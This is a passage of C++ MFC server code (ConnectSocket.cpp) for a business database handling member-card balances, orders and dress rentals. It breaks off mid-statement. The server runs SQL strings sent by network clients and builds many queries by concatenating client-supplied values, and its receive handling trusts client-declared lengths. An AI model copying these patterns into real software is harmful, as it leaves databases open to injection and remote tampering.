//在ConnectSocket.cpp文件中实现连接套接字的创建,该类是CConnectThread类的 //一部分,收到数据由函数OnReceive()完成处理。 movenext 4096 #include "stdafx.h" #include "DBServer.h" #include "theDBServer.h" #include "ConnectSocket.h" #include "ConnectThread.h" #include "DBServerDlg.h" #include "DataSocket.h" #include "mysqldata.h" #include "./include/netMain.h" #include "./include/protocolhdr.h" #include "./include/struct_def.h" #include "Lzari.h" #include "MyLock.h" #include "Shlwapi.h" #include "CalendarConvert.h" //#include "AddUserDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif extern CDBServerDlg *g_pMainWnd; extern CtheDBServer theServer; extern CtheDBServer *g_pWndServer; BOOL CConnectSocket::MyExecuteSQL(CString sql) { try { if (sql.Find("refresh balance") != -1) { CString str = "refresh balance memberreg3"; if (sql.Find(str) != -1) { sql = sql.Right(sql.GetLength() - str.GetLength()); UpdateMemberReg3(sql); return 1; } str = "refresh balance memberreg4"; if (sql.Find(str) != -1) { sql = sql.Right(sql.GetLength() - str.GetLength()); UpdateMemberReg4(sql); return 1; } str = "refresh balance memberreg2"; if (sql.Find(str) != -1) { sql = sql.Right(sql.GetLength() - str.GetLength()); Updatememberreg2(sql); return 1; } return 1; } else if (sql.Find("refresh singleincomemoney") != -1) { CString str = "refresh singleincomemoney"; sql.Delete(0, str.GetLength()); Updatesingleincomemoney(sql); return 1; } else if (sql.Find("gentakecontent:") != -1) { int pos = sql.Find(":"); CString id = sql.Right(sql.GetLength() - pos - 1); CRecordset myset(m_pConndb); sql = "select count(*) as cot from [dindansp3] where [id]='" + id + "'"; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", sql); myset.Close(); if (atoi(sql) > 0)return 1; CArrayg_List1array; sql = "select count(*) as cot from dindansp where [id]='" + id + "'"; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", sql); myset.Close(); int count = atoi(sql); if (count == 0)return 1; g_List1array.SetSize(count, 1); CRstDinDanSP2 rsSt; rsSt.m_pDatabase = m_pConndb; rsSt.m_strFilter = "[id]='" + id + "'"; rsSt.Open(); int ii = 0; while (!rsSt.IsEOF()) { g_List1array.ElementAt(ii).RemoveAll(); g_List1array.ElementAt(ii).Add(rsSt.spid); g_List1array.ElementAt(ii).Add(rsSt.name); g_List1array.ElementAt(ii).Add(rsSt.shuliang); ii++; rsSt.MoveNext(); if (g_List1array.GetSize() <= ii)break; } rsSt.Close(); g_List1array.SetSize(ii, 1); for (ii = 0; ii < g_List1array.GetSize(); ii++) { if (g_List1array.ElementAt(ii).ElementAt(1) == "入册")continue; if (g_List1array.ElementAt(ii).ElementAt(1) == "入底")continue; sql.Format("insert into [dindansp3]([id],[spid],[name],[count])values('%s','%s','%s','%s')", id, g_List1array.ElementAt(ii).ElementAt(0), g_List1array.ElementAt(ii).ElementAt(1), g_List1array.ElementAt(ii).ElementAt(2)); m_pConndb->ExecuteSQL(sql); } return 1; } else if (sql.Find("writelog:") != -1) { int pos = sql.Find(":"); CString content = sql.Right(sql.GetLength() - pos - 1); CTime tm = CTime::GetCurrentTime(); CString date = tm.Format("%Y-%m-%d"); CString datetime = tm.Format("%Y-%m-%d %H:%M:%S"); sql.Format("insert into [log]([date],[datetime],[content])values('%s','%s','%s')", date, datetime, content); m_pConndb->ExecuteSQL(sql); return 1; } else if (sql.Find("deletephotos") != -1) { // Jeff:直接返回 2014.10.28 // [deletephotos][相片类型:0~3][20141022-011][;][all] // [deletephotos][相片类型:0~3][20141022 - 011][;][001, 002, 003, 004] WriteTextLog("存在恶意连接,执行删除相片命令:" + sql);//------------------------------ return TRUE; } else if (sql.Find("insert into sendregdelay") != -1) { static DWORD ticks = ::GetTickCount(); CTime tm = CTime::GetCurrentTime(); if (::GetTickCount() - ticks < 1000) tm += CTimeSpan(0, 0, 0, 3); ticks = ::GetTickCount(); sql.Replace("777888", tm.Format("%Y%m%d%H%M%S")); m_pConndb->ExecuteSQL(sql); return 1; } m_pConndb->ExecuteSQL(sql); return 1; } catch (CDBException * e) { WriteTextLog(_T("%s-<%d>-%s:%s 操作数据库失败:%s"), __FILE__, __LINE__, __FUNCTION__, sql, e->m_strError); #ifdef _DEBUG e->ReportError(); #endif e->Delete(); return 0; } } void CConnectSocket::DeleteMemberReg(CString str) { int pos = str.Find("###"); CString sql, id; sql.Format("select [id] from [memberreg] where %s", str.Left(pos)); CRecordset myset(m_pConndb); myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("id", id); myset.Close(); sql.Format("delete from [memberreg] where [id]=%s", id); MyExecuteSQL(sql); str = str.Right(str.GetLength() - pos - 3); UpdateMemberCard(str); } void CConnectSocket::Updatememberreg2(CString memberno) { int pos = memberno.Find("&&&"); CString memberno2, m_id; if (pos != -1) { memberno2 = memberno.Left(pos); m_id = memberno.Right(memberno.GetLength() - pos - 3); } else { pos = memberno.Find(";"); if (pos != -1) { memberno2 = memberno.Left(pos); m_id = memberno.Right(memberno.GetLength() - pos - 1); } else memberno2 = memberno; } UpdateMemberCard(memberno2); } void CConnectSocket::UpdateMemberCard(CString memberno) { int pos = memberno.Find("###"); if (pos != -1) { while (pos != -1) { UpdateMemberCard(memberno.Left(pos)); memberno = memberno.Right(memberno.GetLength() - pos - 3); pos = memberno.Find("###"); } UpdateMemberCard(memberno); return; } CString money, money2; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast(money as float)) as cot from [memberreg] where [memberno]='" + memberno + "' "; #else CString sql="select sum(money) as cot from [memberreg] where [memberno]='"+memberno+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money); myset.Close(); #ifdef SQLSERVER_VERSION sql = "select sum(cast(point as float)) as cot from [memberreg2] where [memberno]='" + memberno + "' "; #else sql="select sum(point) as cot from [memberreg2] where [memberno]='"+memberno+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money2); myset.Close(); CString str; str.Format("%0.2f", atof(money) - atof(money2)); sql.Format("update [membermanage] set [money]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL(sql); } void CConnectSocket::Updatesingleincomemoney(CString id) { CString money, money2; CRecordset myset(m_pConndb); CString sql; sql.Format("select money from [singleincome] where [id]=%s", id); myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("money", money); myset.Close(); #ifdef SQLSERVER_VERSION sql = "select sum(cast(money as float)) as cot from [singleincomemoney] where [id]='" + id + "' "; #else sql="select sum(money) as cot from [singleincomemoney] where [id]='"+id+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money2); myset.Close(); CString payed, balance; payed.Format("%0.1f", atof(money2)); balance.Format("%0.1f", atof(money) - atof(money2)); sql.Format("update [singleincome] set [payed]='%s',[balance]='%s' where [id]=%s ", payed, balance, id); MyExecuteSQL(sql); } void CConnectSocket::UpdateMemberReg3(CString memberno) { CString money, money2, money3, money4; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast(money as float)) as cot,sum(cast(money2 as float)) as cot2 from [memberreg3] where [memberno]='" + memberno + "' "; #else CString sql="select sum(money) as cot from [memberreg3] where [memberno]='"+memberno+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money); myset.GetFieldValue("cot2", money4); myset.Close(); #ifdef SQLSERVER_VERSION sql = "select sum(cast(money as float)) as cot from [memberreg4] where [memberno]='" + memberno + "' "; #else sql="select sum(money) as cot from [memberreg4] where [memberno]='"+memberno+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money2); myset.Close(); #ifdef SQLSERVER_VERSION sql = "select sum(cast(money as float)) as cot from [membercard3usereg] where [memberno]='" + memberno + "' "; #else sql="select sum(money) as cot from [membercard3usereg] where [memberno]='"+memberno+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money3); myset.Close(); CString str; str.Format("%ld", (atol(money) + atol(money4) - atol(money2)) - atol(money3)); sql.Format("update [membermanage] set [balance]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL(sql); } void CConnectSocket::UpdateMemberReg4(CString memberno) { int pos = memberno.Find(";"); if (pos == -1)return; CString maincardno, card2no; maincardno = memberno.Left(pos); UpdateMemberReg3(maincardno); card2no = memberno.Right(memberno.GetLength() - pos - 1); CString money, money2; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast(money as float)) as cot from [memberreg4] where [memberno]='" + maincardno + "' and [card2no]='" + card2no + "'"; #else CString sql="select sum(money) as cot from [memberreg4] where [memberno]='"+maincardno+"' and [card2no]='"+card2no+"'"; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money); myset.Close(); #ifdef SQLSERVER_VERSION sql = "select sum(cast(money as float)) as cot from [membercard3childusereg] where [memberno]='" + card2no + "' "; #else sql="select sum(money) as cot from [membercard3childusereg] where [memberno]='"+card2no+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money2); myset.Close(); CString str; str.Format("%d", atoi(money) - atoi(money2)); sql.Format("update [membercard3] set [balance]='%s' where [memberno]='%s' and [card2no]='%s'", str, maincardno, card2no); MyExecuteSQL(sql); } void CConnectSocket::UpdateMemberCard2(CString memberno) { CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast(money as float)) as cot from [memberregblue] where [memberno]='" + memberno + "' "; #else CString sql="select sum(money) as cot from [memberregblue] where [memberno]='"+memberno+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money); myset.Close(); CString str; str.Format("%0.2f", atof(money)); sql.Format("update [membermanageblue] set [money]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL(sql); UpdateMemberCard2Balance(memberno); } void CConnectSocket::UpdateMemberCard3(CString memberno) { CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast(money as float)) as cot from [memberreg2blue] where [memberno]='" + memberno + "' "; #else CString sql="select sum(money) as cot from [memberreg2blue] where [memberno]='"+memberno+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money); myset.Close(); CString str; str.Format("%0.2f", atof(money)); sql.Format("update [membermanageblue] set [money2]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL(sql); UpdateMemberCard2Balance(memberno); } void CConnectSocket::UpdateMemberCard2Balance(CString memberno) { CString money, money2, money3; CRecordset myset(m_pConndb); CString sql = "select money,money2 from [membermanageblue] where [memberno]='" + memberno + "' "; myset.Open(CRecordset::forwardOnly, sql); if (!myset.IsEOF()) { myset.GetFieldValue("money", money); myset.GetFieldValue("money2", money2); } myset.Close(); CString str; str.Format("%0.2f", atof(money) - atof(money2)); sql.Format("update [membermanageblue] set [money3]='%s' where [memberno]='%s' ", str, memberno); MyExecuteSQL(sql); } void CConnectSocket::UpdateDressBalance(CString dressno) {//库存=件数-出租数-出售数 //出租数=出租未回数 CString hirecount, washcount, salecount, balance, count; CTime curtm = CTime::GetCurrentTime(); CString today = curtm.Format("%Y-%m-%d"); CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='" + dressno + "' and [isreturn]='未还' and [hireorsale]='租' and [date1]<='" + today + "' and [date2]>='" + today + "'"; #else CString sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='租' and [date1]<='"+today+"' and [date2]>='"+today+"'"; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", hirecount); myset.Close(); #ifdef SQLSERVER_VERSION sql = "select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='" + dressno + "' and [isreturn]='未还' and [hireorsale]='洗' and [date1]<='" + today + "' and [date2]>='" + today + "'"; #else sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='洗' and [date1]<='"+today+"' and [date2]>='"+today+"'"; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", washcount); myset.Close(); #ifdef SQLSERVER_VERSION sql = "select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='" + dressno + "' and [hireorsale]='售'"; #else sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [hireorsale]='售'"; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", salecount); myset.Close(); sql = "select [count] from [dressinfo] where [no]='" + dressno + "'"; myset.Open(CRecordset::forwardOnly, sql); if (!myset.IsEOF()) myset.GetFieldValue("count", count); myset.Close(); balance.Format("%d", atoi(count) - atoi(hirecount) - atoi(salecount) - atoi(washcount)); hirecount.Format("%d", atoi(hirecount)); salecount.Format("%d", atoi(salecount)); washcount.Format("%d", atoi(washcount)); sql = "update [dressinfo] set [hirecount]='" + hirecount + "',[washcount]='" + washcount + "',[salecount]='" + salecount + "',[balance]='" + balance + "' where [no]='" + dressno + "'"; MyExecuteSQL(sql); } void CConnectSocket::UpdateBuKuan(CString id) { try { CString memberno; int pos = id.Find("$$$"); if (pos != -1) { memberno = id.Right(id.GetLength() - pos - 3); id = id.Left(pos); } CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast(money as float)) as cot from dindanbukuan where id='" + id + "' "; #else CString sql="select sum(money) as cot from dindanbukuan where id='"+id+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money); myset.Close(); sql.Format("update dindan set payed5='%s' where id='%s' ", money, id); MyExecuteSQL(sql); if (!memberno.IsEmpty()) { UpdateMemberCard(memberno); } } catch (...) { } } void CConnectSocket::UpdateBurnCdReg(CString id) { try { CString bruncount; CRecordset myset(m_pConndb); CString sql = "select count(*) as cot from burncdreg where id='" + id + "' "; myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", bruncount); myset.Close(); sql.Format("update dindan set bruncount='%s' where id='%s' ", bruncount, id); MyExecuteSQL(sql); } catch (...) { } } void CConnectSocket::UpdateBuKuan2(CString id) { try { int pos = id.Find("@@@"); if (pos != -1) { id = id.Left(pos); } CString money; CRecordset myset(m_pConndb); #ifdef SQLSERVER_VERSION CString sql = "select sum(cast(money as float)) as cot from dindanbukuan2 where id='" + id + "' "; #else CString sql="select sum(money) as cot from dindanbukuan2 where id='"+id+"' "; #endif myset.Open(CRecordset::forwardOnly, sql); myset.GetFieldValue("cot", money); myset.Close(); sql.Format("update dindan set payed4='%s' where id='%s' ", money, id); MyExecuteSQL(sql); } catch (...) { } } void CConnectSocket::GetOldStatus2(CArray*array, CString autoid, CString &status1, CString &status2, CString &status3, CString &status4, CString &oldno) { try { status1 = "未完成"; status2 = "未取"; status3 = ""; status4 = ""; oldno = ""; for (int i = 0; i < array->GetSize(); i++) { if (autoid == array->ElementAt(i).ElementAt(0)) { status1 = array->ElementAt(i).ElementAt(1); status2 = array->ElementAt(i).ElementAt(2); status3 = array->ElementAt(i).ElementAt(3); status4 = array->ElementAt(i).ElementAt(4); oldno = array->ElementAt(i).ElementAt(5); return; } } } catch (...) { } } /********************************************************************/ /* */ /* Function name : CConnectSocket::CConnectSocket */ /* Description : Constructor */ /* */ /********************************************************************/ CConnectSocket::CConnectSocket() { m_bLogin = FALSE; m_bLoggedon = FALSE; m_bRenameFile = FALSE; m_pDataSocket = NULL; m_nRemotePort = -1; m_dwRestartOffset = 0; m_bPassiveMode = FALSE; m_reved = 0; m_dateleng = 0; m_pRevBuf = NULL; m_pThread = NULL; #if USE_POOL m_pMain = m_pHistory = NULL; m_pConnGuard = m_pConnGuardHistory = NULL; #endif for (int i = 0; i < LISTSIZE; i++) { g_ListData[i] = NULL; g_ListLeng[i] = 0; g_ListSize[i] = 0; } m_bSendOK = 1; } void CConnectSocket::Init() { } /********************************************************************/ /* */ /* Function name : CConnectSocket::~CConnectSocket */ /* Description : Destructor */ /* */ /********************************************************************/ CConnectSocket::~CConnectSocket() { if (m_pThread) { DestroyDataConnection(); // tell our thread we have been closed AfxGetThread()->PostThreadMessage(WM_QUIT, 0, 0); TRACE0("CConnectSocket destroyed.\n"); if (m_pRevBuf)delete[]m_pRevBuf; } // if(m_pThread) WriteTextLog("内存释放"); for (int i = 0; i < LISTSIZE; i++) { if (g_ListData[i]) delete[](g_ListData[i]); g_ListData[i] = NULL; g_ListLeng[i] = 0; g_ListSize[i] = 0; } #if USE_POOL if ( m_pConnGuard ) delete m_pConnGuard; if ( m_pConnGuardHistory ) delete m_pConnGuardHistory; #endif } // Do not edit the following lines, which are needed by ClassWizard. #if 0 BEGIN_MESSAGE_MAP(CConnectSocket, CSocket) //{{AFX_MSG_MAP(CConnectSocket) //}}AFX_MSG_MAP END_MESSAGE_MAP() #endif // 0 /********************************************************************/ /* */ /* Function name : OnClose */ /* Description : Send WM_QUIT message to the thread containing */ /* the socket to shutdown once the connection is */ /* closed. */ /* */ /********************************************************************/ void CConnectSocket::OnClose(int nErrorCode) { try { Close(); m_bLogin = FALSE; // destroy connection m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); TRACE("CConnectSocket() OnClose()\n"); CSocket::OnClose(nErrorCode); } catch (...) { } } #define BUFFERSIZE 4096 //#define BUFFERSIZE 102600 /********************************************************************/ /* */ /* Function name : OnReceive */ /* Description : Called by the framework to notify this socket */ /* that there is data in the buffer. */ /* */ /********************************************************************/ //由主窗口调用通知套接字缓冲区中有数据要接收 void CConnectSocket::OnReceive(int nErrorCode) { TCHAR buff[BUFFERSIZE]; //接收数据并放到缓冲区 int nRead = Receive(buff, BUFFERSIZE); switch (nRead) { case 0: Close(); break; case SOCKET_ERROR: if (GetLastError() != WSAEWOULDBLOCK) { TCHAR szError[256]; wsprintf(szError, "OnReceive error: %d", GetLastError()); WriteTextLog(szError); } break; default: if (nRead != SOCKET_ERROR && nRead != 0) { ((CConnectThread *)AfxGetThread())->IncReceivedBytes(nRead); TMessageHeader *pMessageHeader = (TMessageHeader *)buff; /*网络字节顺序的转换*/ ntohs(pMessageHeader->wHeaderFlag); ntohs(pMessageHeader->wMessageId); ntohs(pMessageHeader->wMessageSubId); ntohl(pMessageHeader->dwDataLen); ntohs(pMessageHeader->wCheckSum); ntohl(pMessageHeader->wReserve); #if USE_NEW_PRO if (pMessageHeader->wMessageId == (MSG_LOGIN_REQ + 0X1FFF) && m_bSendOK) #else if (pMessageHeader->wMessageId == MSG_LOGIN_REQ && m_bSendOK) #endif { WORD wMessageId = MSG_LOGIN_RESP + 0X2FFF; //WORD wMessageId = MSG_LOGIN_RESP; LOGIN_RESULT_STRU tLoginResult = { 0 }; tLoginResult.tCommonMsg.dwConnectionID = 0; tLoginResult.tCommonMsg.wMessageId = wMessageId; tLoginResult.byResult = LOGIN_RESULT_SUC; tLoginResult.dwUserID = 0; tLoginResult.byStatus = USER_STATUS_ONLINE; DWORD dateleng = pMessageHeader->dwDataLen + MESSAGE_HEADER_LEN; DWORD dwDataLen = sizeof(LOGIN_RESULT_STRU); TMessageHeader tHeader = { 0 }; tHeader.wMessageId = wMessageId; tHeader.dwDataLen = dwDataLen; net_Send(&tHeader, (void *)&tLoginResult, dwDataLen); m_bLogin = TRUE; //WriteTextLog("login ok"); } else if (m_bLogin) { /* char *pDataBuf = (char *)buff + MESSAGE_HEADER_LEN; TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pDataBuf; DWORD dwConnectionID = pChatMessage->tCommonMsg.dwConnectionID; processChatMessageRequest((void *)pChatMessage);*/ // 结束字符串 // WriteTextLog("receive"); #if USE_NEW_PRO if (pMessageHeader->wHeaderFlag == MESSAGE_HEADER_FLAG && pMessageHeader->wMessageId == (MSG_CHATMESSAGE_REQ + 0X3FFF)) #else if (pMessageHeader->wHeaderFlag == MESSAGE_HEADER_FLAG && pMessageHeader->wMessageId == (MSG_CHATMESSAGE_REQ)) #endif { m_bSendOK = 0; if (m_pRevBuf) delete[]m_pRevBuf; m_pRevBuf=NULL; m_reved=0; m_dateleng = 0; m_dateleng = pMessageHeader->dwDataLen + MESSAGE_HEADER_LEN; m_pRevBuf = new BYTE[m_dateleng]; //WriteTextLog("开始接收"); } // Jeff.如果上面if成立,表示第一次接收数据,否则表示续接没收完的数据;不过此处没有进么其他有效续接的判断,可能会造成接收错误; // Jeff.没有对数据的完整性进行验证; // Jeff.在全部数据接收完后,通过指定方式将接收的数据进行一次校验; if (m_dateleng == 0)return; ::memcpy(m_pRevBuf + m_reved, buff, min(nRead, m_dateleng - m_reved)); m_reved += min(nRead, m_dateleng - m_reved); // CString ss; // ss.Format ("接收:%d/%d", m_reved, m_dateleng); // WriteTextLog(ss); if (m_reved >= m_dateleng) { m_bSendOK = 1; // WriteTextLog("接收完成"); char *pDataBuf = (char *)m_pRevBuf + MESSAGE_HEADER_LEN; TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pDataBuf; m_reved = 0; m_dateleng = 0; processChatMessageRequest((void *)pChatMessage); } } else { WriteTextLog("有非法客户端程序连接,IP:%s", ((CConnectThread*)m_pThread)->m_strRemoteHost); Close(); // 通知线程已经停止,关闭连接 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); } } break; } CSocket::OnReceive(nErrorCode); } /********************************************************************/ /* */ /* Function name: GetRxCommand */ /* Description : Get command from receiver buffer. */ /* */ /********************************************************************/ //从接收缓冲区获得命令 BOOL CConnectSocket::GetRxCommand(CString &strCommand, CString &strArguments) { return FALSE; } /********************************************************************/ /* */ /* Function name: GetRxLine */ /* Description : Parse complete command line */ /* */ /********************************************************************/ //解析整个命令行 void CConnectSocket::GetRxLine() { } /********************************************************************/ /* */ /* Function name: OnConnect */ /* Description : Called by the framework to notify this connecting */ /* socket that its connection attempt is completed. */ /* */ /********************************************************************/ void CConnectSocket::OnConnect(int nErrorCode) { CSocket::OnConnect(nErrorCode); } /********************************************************************/ /* */ /* Function name: HasConnectionDropped */ /* Description : Check if connection has been dropped. */ /* Used to detect if client has crashed. */ /* */ /********************************************************************/ BOOL CConnectSocket::HasConnectionDropped(void) { try { BOOL bConnDropped = FALSE; INT iRet = 0; BOOL bOK = TRUE; if (m_hSocket == INVALID_SOCKET) return TRUE; struct timeval timeout = { 0, 0 }; fd_set readSocketSet; FD_ZERO(&readSocketSet); FD_SET(m_hSocket, &readSocketSet); iRet = ::select(0, &readSocketSet, NULL, NULL, &timeout); bOK = (iRet > 0); if (bOK) { bOK = FD_ISSET(m_hSocket, &readSocketSet); } if (bOK) { CHAR szBuffer[1] = ""; iRet = ::recv(m_hSocket, szBuffer, 1, MSG_PEEK); bOK = (iRet > 0); if (!bOK) { INT iError = ::WSAGetLastError(); bConnDropped = ((iError == WSAENETRESET) || (iError == WSAECONNABORTED) || (iError == WSAECONNRESET) || (iError == WSAEINVAL) || (iRet == 0)); } } return(bConnDropped); } catch (...) { } return 1; } /********************************************************************/ /* */ /* Function name: SendResponse */ /* Description : Send response to client. */ /* */ /********************************************************************/ //发送响应给客户端 BOOL CConnectSocket::SendResponse(LPCTSTR pstrFormat, ...) { return TRUE; } //从客户端解析并执行命令 void CConnectSocket::ParseCommand() { } /********************************************************************/ /* */ /* Function name: FireStatusMessage */ /* Description : Fire status message. */ /* */ /********************************************************************/ void CConnectSocket::FireStatusMessage(LPCTSTR lpszStatus, int nType) { try { g_pWndServer->AddTraceLine(nType, "[%d] %s", m_pThread->m_nThreadID, lpszStatus); } catch (...) { } } /********************************************************************/ /* */ /* Function name: CreateDataConnection */ /* Description : Create data transfer connection. */ /* */ /********************************************************************/ BOOL CConnectSocket::CreateDataConnection(int nTransferType, LPCTSTR lpszData) { return TRUE; } /********************************************************************/ /* */ /* Function name: DestroyDataConnection */ /* Description : Close data transfer connection. */ /* */ /********************************************************************/ void CConnectSocket::DestroyDataConnection() { } unsigned long CConnectSocket::net_Send(IN void *pHeader, IN void *pMessage, IN unsigned long ulDataLen) { try { unsigned long ulSendLen = 0; unsigned long ulBufLen = 0; TMessageHeader *pSendHeader = (TMessageHeader *)pHeader; ulBufLen = MESSAGE_HEADER_LEN + ulDataLen; char *pSendBuf = new char[ulBufLen]; memset(pSendBuf, 0, ulBufLen); TMessageHeader *pMessageHeader = (TMessageHeader *)pSendBuf; pMessageHeader->byVersion = 101; pMessageHeader->wHeaderFlag = MESSAGE_HEADER_FLAG; pMessageHeader->wMessageId = pSendHeader->wMessageId; pMessageHeader->wMessageSubId = pSendHeader->wMessageSubId; pMessageHeader->dwDataLen = ulDataLen; pMessageHeader->wReserve = 0; memcpy((void *)(pSendBuf + MESSAGE_HEADER_LEN), pMessage, ulDataLen); // convert network word htons(pMessageHeader->wHeaderFlag); htons(pMessageHeader->wMessageId); htons(pMessageHeader->wMessageSubId); htonl(pMessageHeader->dwDataLen); htons(pMessageHeader->wCheckSum); htonl(pMessageHeader->wReserve); //Send the message //判断连接是否在活动状态 // AfxMessageBox("send"); if (HasConnectionDropped()) { FireStatusMessage("Could not send reply, disconnected.", 2); Close(); // 通知线程已经停止,关闭连接 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); // AfxMessageBox("send fail 1"); return FALSE; } int nBytes = CSocket::Send((void *)pSendBuf, ulBufLen); if (nBytes == SOCKET_ERROR) { Close(); FireStatusMessage("Could not send reply, disconnected.", 2); //通知线程连接已经关闭 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); //AfxMessageBox("send fail 2"); return FALSE; } ((CConnectThread *)AfxGetThread())->IncSentBytes(nBytes); //AfxMessageBox("send ok"); delete[] pSendBuf; pSendBuf = NULL; return nBytes; } catch (...) { } return 0; } unsigned long CConnectSocket::net_Send2(IN void *pMessage, IN unsigned long ulDataLen) { try { if (HasConnectionDropped()) { FireStatusMessage("Could not send reply, disconnected.", 2); Close(); // 通知线程已经停止,关闭连接 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); return FALSE; } int nBytes = CSocket::Send((void *)pMessage, ulDataLen); if (nBytes == SOCKET_ERROR) { Close(); FireStatusMessage("Could not send reply, disconnected.", 2); //通知线程连接已经关闭 m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0); return FALSE; } ((CConnectThread *)AfxGetThread())->IncSentBytes(nBytes); return nBytes; } catch (...) { } return 0; } void FillHeader(BYTE *pSendData, WORD wMessageId, DWORD dwDataLen) { TMessageHeader *pMessageHeader = (TMessageHeader*)pSendData; pMessageHeader->byVersion = 101; pMessageHeader->wHeaderFlag = MESSAGE_HEADER_FLAG; pMessageHeader->wMessageId = wMessageId; pMessageHeader->wMessageSubId = 0; pMessageHeader->dwDataLen = dwDataLen; pMessageHeader->wReserve = 0; /* convert network word */ htons(pMessageHeader->wHeaderFlag); htons(pMessageHeader->wMessageId); htons(pMessageHeader->wMessageSubId); htonl(pMessageHeader->dwDataLen); htons(pMessageHeader->wCheckSum); htonl(pMessageHeader->wReserve); } CString g_curip; BOOL g_bLogindataprocess = 0; void CConnectSocket::processChatMessageRequest(IN void *pChatMsg) { MyLock xxxlock("processChatMessageRequest"); CString str; CString g_ret; try { if (NULL == pChatMsg) return; TCHAT_MESSAGE_STRU *ptChatMessage = (TCHAT_MESSAGE_STRU *)pChatMsg; DWORD dwUserID = ptChatMessage->tCommonMsg.dwConnectionID; if (ptChatMessage->length[98] != 987123768) { char pdata[5]; net_Send2(pdata, 5); return; } int nMessageLen = ptChatMessage->wMessageLen; if (nMessageLen > 0) { DWORD dwFromUserID = dwUserID; DWORD dwToUserID = ptChatMessage->dwToUserID; #if USE_NEW_PRO WORD wMessageId = (MSG_CHATMESSAGE_RESP + 0X4FFF); #else WORD wMessageId = MSG_CHATMESSAGE_RESP; #endif DWORD dwDataLen; BYTE *pSendData; TCHAT_MESSAGE_STRU *pChatMessage; if (dwToUserID != 15 && dwToUserID != 100 && dwToUserID != 22)//信息服务器 { if (ptChatMessage->length[99] == -1)// || ptChatMessage->length[99]>=dbarray.GetSize ()) { if ( m_pdb ) m_pConndb = m_pdb; else { if ( m_pConnGuard == NULL ) { m_pConnGuard = new ODBCConnGuard(m_pMain, -1, 30000); } m_pConndb = m_pMain; } } else { int pos = ptChatMessage->length[99]; int d[8]; double f[8]; TCHAR s0[50] = _T(""), s1[50] = _T(""), s2[50] = _T(""), s3[50] = _T(""), s4[50] = _T(""), s5[50] = _T(""), s6[50] = _T(""), s7[50] = _T(""); //运行自定义函数 int ret = ytSoftKey.calyearpos(&pos, &d[1], &d[2], &d[3], &d[4], &d[5], &d[6], &d[7], &f[0], &f[1], &f[2], &f[3], &f[4], &f[5], &f[6], &f[7], s0, s1, s2, s3, s4, s5, s6, s7); if (ret != 0 && ret != -43) { return; } if ( m_pConnGuardHistory == NULL ) { m_pConnGuardHistory = new ODBCConnGuard(m_pHistory, pos, 30000); } m_pConndb = m_pHistory; } } else { if ( m_pConnGuard == NULL ) { m_pConnGuard = new ODBCConnGuard(m_pMain, -1, 30000); } m_pConndb = m_pMain; } if (m_pConndb) { if (dwToUserID == 1) { { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach(szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); int ii = 0; for (/*int*/ ii = 0; ii < g_List1array.GetSize(); ii++) { g_List1array.ElementAt(ii).Serialize(ar); } ar.Close(); memfile.Detach(); CString sql; sql = "delete from taoxishangpin1 where taoxiid='" + g_List1array.ElementAt(0).ElementAt(0) + "' "; MyExecuteSQL(sql); if 